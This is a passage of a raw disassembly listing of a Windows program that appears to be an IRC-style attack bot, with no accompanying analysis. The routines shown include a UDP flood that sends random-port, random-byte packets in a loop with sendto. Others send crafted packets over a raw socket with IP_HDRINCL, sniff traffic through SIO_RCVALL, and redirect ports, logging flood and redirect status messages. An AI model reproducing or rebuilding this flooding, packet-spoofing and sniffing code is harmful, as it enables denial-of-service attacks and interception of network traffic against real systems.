		dd 0DCh, 8820C483h, 52172444h, 427C70E8h, 0B9A09002h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		call	near ptr 77C371D3h
		nop
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2850369h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EF4
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
